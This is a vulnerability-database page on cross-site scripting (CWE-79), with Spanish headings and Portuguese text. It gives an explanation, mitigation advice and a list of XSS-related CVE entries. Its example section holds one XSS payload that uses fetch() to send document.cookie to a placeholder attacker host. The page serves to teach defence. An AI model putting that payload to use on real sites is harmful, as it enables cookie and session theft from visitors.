Fallos del tipo CWE-79

30.301 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-13400MEDIUMSimply Schedule Appointments < 1.6.12.4 - Unauthenticated Stored XSS via Booking Customer InformationEPSS 0.3%CVE-2026-14922MEDIUMWP Photo Album Plus < 9.2.04.003 - Subscriber+ Stored XSS via Photo CommentEPSS 0.3%CVE-2024-34571MEDIUMWordPress Himalayas theme <= 1.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-85227MEDIUMReflected Cross-Site Scripting in MISP Event Filtering via taggedAttributes and galaxyAttachedAttributes ParametersEPSS 0.3%CVE-2025-8451MEDIUMEssential Addons for Elementor – Popular Elementor Templates and Widgets <= 6.2.2 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via 'data-gallery-items'EPSS 0.3%CVE-2019-25445MEDIUMFiverr Clone Script 1.2.2 Cross-Site Scripting via search-results.phpEPSS 0.3%CVE-2025-8720MEDIUMPlugin README Parser <= 1.3.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via target ParameterEPSS 0.3%CVE-2024-43113MEDIUMThe contextual menu for links could provide an opportunity for cross-site scripting attacks This vulnerability affects Firefox for iOS < 129EPSS 0.3%CVE-2025-63709MEDIUMA Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Simple To-Do List System 1.0 in the "Add Tasks" text input. An authenticEPSS 0.3%CVE-2025-34260MEDIUMAdvantech WISE-DeviceOn Server < 5.4 Authenticated Stored XSS via action/scheduleEPSS 0.3%CVE-2026-18084HIGHCross-Site Scripting (XSS) in Management Console of BlackBerry UEMEPSS 0.3%CVE-2026-8310MEDIUMReflected XSS in Webbeyaz's Mediküm WebEPSS 0.3%CVE-2024-38750MEDIUMWordPress Advanced post slider plugin <= 3.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-7090MEDIUMcode-projects Chat System send_message.php cross site scriptingEPSS 0.3%CVE-2025-0832HIGHStored Cross-site Scripting (XSS) vulnerability affecting Project Gantt in ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2024-43112MEDIUMLong pressing on a download link could potentially provide a means for cross-site scripting This vulnerability affects Firefox for iOS < 129EPSS 0.3%CVE-2026-8306MEDIUMStored XSS in Armiya Technologies' Access Control SystemEPSS 0.3%CVE-2025-0469MEDIUMForminator <= 1.39.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-47643MEDIUMWordPress Include Fussball.de Widgets plugin <= 4.0.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-13234MEDIUMAI (Artificial Intelligence) - Moderately critical - Information Disclosure / Cross-site Scripting - SA-CONTRIB-2026-054EPSS 0.3%